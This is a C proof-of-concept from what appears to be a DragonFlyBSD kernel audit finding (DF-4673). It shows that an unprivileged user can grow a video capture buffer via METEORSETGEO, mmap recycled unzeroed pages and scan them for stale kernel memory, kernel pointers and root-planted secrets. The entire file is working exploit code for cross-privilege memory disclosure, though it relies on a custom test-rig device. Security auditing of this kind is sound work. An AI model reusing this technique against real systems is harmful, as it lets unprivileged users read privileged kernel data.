⬢ DragonFlyBSD Kernel Audit
DF-4673 / poc_stalebuf.c
← back to finding ↓ download raw
/*
 * poc_stalebuf.c -- DF-4673: METEORSETGEO grow installs an UNZEROED frame
 * buffer; recycled PQ_FREE/PQ_CACHE pages are mapped into userspace by
 * bktr_mmap (fault-time dev_dmmap) and disclose stale kernel memory.
 *
 * DragonFly specifics (see DF-4672): contigmalloc serves from the 256 MiB
 * low-phys DMA reserve (fictitious, pristine pages) FIRST; only when the
 * reserve cannot satisfy the request does it fall back to the pfn-ascending
 * PQ_FREE/PQ_CACHE scan whose pages carry their previous contents.  The
 * reserve is drainable by the same unprivileged SETGEO grow path (DF-4672).
 *
 * This PoC grows adaptively (+32 pages each) and reports the wire delta of
 * every grow: delta 0 = reserve-served (zero contents), delta > 0 =
 * scan-served (recycled pages).  Each scan-served buffer is mmap'd READ
 * ONLY and scanned for (a) the ROOT-spray markers, (b) kernel pointer
 * patterns, (c) nonzero contents.
 *
 * Build: cc -O2 -Wall -o poc_stalebuf poc_stalebuf.c
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dev/video/meteor/ioctl_meteor.h>

#define DEV	"/dev/bktrig0"
#define MAGIC0	0x524F4F5453454352ULL	/* "ROOTSECR" */
#define MAGIC3	0x4446343637332DULL	/* "DF4673-"  */

struct rig_ctl {
	int32_t		npages;
	uint32_t	pad;
	uint64_t	bigbuf;
	int32_t		alloc_pages;
	int32_t		rc;
	uint64_t	bigbuf_pa;
	uint64_t	probe_off;
	uint64_t	probe_pa;
};
#define	RIG_INIT	_IOWR('Z', 1, struct rig_ctl)
#define	RIG_STATUS	_IOWR('Z', 2, struct rig_ctl)

static int geo_pages(int rows, int cols, int frames)
{
	return (rows * cols * frames * 2 + 4095) / 4096;
}

static void geo_for_target(int target, struct meteor_geomet *g)
{
	if (target <= 511) {
		g->rows = 2 * target;
		g->frames = 1;
	} else {
		g->rows = 2046;
		g->frames = (target + 1021) / 1022;
	}
	g->columns = 1022;
	g->oformat = 0;
}

static long wire_pages(void)
{
	size_t len = sizeof(unsigned long);
	unsigned long v = 0;

	if (sysctlbyname("vm.stats.vm.v_wire_count", &v, &len, NULL, 0) == 0)
		return (long)v;
	return -1;
}

static void hexdump_page(uint64_t *q, int npages_shown)
{
	int i, j;

	for (i = 0; i < npages_shown; i++) {
		printf("    page %d:", i);
		for (j = 0; j < 6; j++)
			printf(" %016jx", (uintmax_t)q[i * 512 + j]);
		printf("\n");
	}
}

int main(int argc, char **argv)
{
	struct meteor_geomet g;
	struct rig_ctl rc;
	uint8_t *p;
	long w0, w1, wire_at_scan;
	size_t len;
	int fd, round = 1, i, j;
	int rs_total = 0, kptr_total = 0, nz_total = 0, scan_pages = 0;
	int scan_bufs = 0, grows = 0, shown;

	if (argc > 1)
		round = atoi(argv[1]);

	fd = open(DEV, O_RDONLY);
	if (fd < 0) { perror("open " DEV); return 2; }
	if (geteuid() == 0) {
		fprintf(stderr, "run me as an UNPRIVILEGED user\n");
		return 2;
	}
	printf("uid=%d euid=%d round=%d (grow+mmap+read is unprivileged)\n",
	    getuid(), geteuid(), round);

	memset(&rc, 0, sizeof(rc));
	if (ioctl(fd, RIG_STATUS, &rc) != 0) { perror("RIG_STATUS"); return 3; }
	printf("start: bigbuf=0x%llx alloc_pages=%d wire=%ld\n",
	    (unsigned long long)rc.bigbuf, rc.alloc_pages, wire_pages());
	if (rc.alloc_pages == 0) {
		printf("no buffer installed (run --init as root first)\n");
		return 3;
	}

	/* adaptive grows: +~32 pages each, until scan-path then keep going */
	for (grows = 0; grows < 24; grows++) {
		int target = rc.alloc_pages + 32;

		geo_for_target(target, &g);
		w0 = wire_pages();
		if (ioctl(fd, METEORSETGEO, &g) != 0) {
			printf("grow to %d: %s (stop)\n", target,
			    strerror(errno));
			break;
		}
		ioctl(fd, RIG_STATUS, &rc);
		w1 = wire_pages();
		len = (size_t)rc.alloc_pages * 4096;
		printf("grow -> alloc_pages=%d wire_delta=%+ld "
		    "(%s-path)%s", rc.alloc_pages, w1 - w0,
		    (w1 - w0) > 8 ? "SCAN" : "reserve",
		    (w1 - w0) > 8 ? "  << RECYCLED PAGES" : "");
		if ((w1 - w0) <= 8) {
			printf("\n");
			continue;
		}

		/* scan-served buffer: mmap and read it */
		scan_bufs++;
		p = mmap(NULL, len, PROT_READ, MAP_SHARED, fd, 0);
		if (p == MAP_FAILED) {
			printf(" mmap FAILED: %s\n", strerror(errno));
			break;
		}
		wire_at_scan = wire_pages();
		shown = 0;
		{
			int nz_pages = 0, kptr_pages = 0, rs_pages = 0;

			for (i = 0; (size_t)i < len; i += 4096) {
				uint64_t *q = (uint64_t *)(p + i);
				int nz = 0, kptr = 0, rs = 0;

				for (j = 0; j < 512; j++) {
					if (q[j])
						nz++;
					if ((q[j] >> 48) == 0xffffULL)
						kptr = 1;
				}
				if (q[0] == MAGIC0 && q[3] == MAGIC3)
					rs = 1;
				if (nz)
					nz_pages++;
				if (kptr)
					kptr_pages++;
				if (rs) {
					rs_pages++;
					if (shown < 2) {
						shown++;
						printf("\n  ROOT-SECRET page "
						    "%d (tag=%d "
						    "spraypage=%d):\n",
						    i / 4096,
						    (int)(uint32_t)q[1],
						    (int)(uint32_t)q[2]);
						hexdump_page(q, 1);
					}
				}
			}
			printf(" -> scanned %d pages: %d nonzero, %d kptr, "
			    "%d ROOT-SECRET\n", (int)(len / 4096), nz_pages,
			    kptr_pages, rs_pages);
			nz_total += nz_pages;
			kptr_total += kptr_pages;
			rs_total += rs_pages;
			scan_pages += (int)(len / 4096);
			/* first non-secret stale page evidence */
			p = mmap(NULL, len, PROT_READ, MAP_SHARED, fd, 0);
		}
		munmap(p, len);
		(void)wire_at_scan;
	}

	printf("\n== RESULT round %d ==\n", round);
	printf("scan-path buffers scanned: %d (%d pages total)\n",
	    scan_bufs, scan_pages);
	printf("nonzero pages: %d; kernel-pointer pages: %d; "
	    "ROOT-spray secret pages: %d\n", nz_total, kptr_total, rs_total);
	if (rs_total > 0)
		printf("KERNEL MEMORY DISCLOSURE CONFIRMED (cross-privilege)\n");
	return rs_total > 0 ? 0 : 1;
}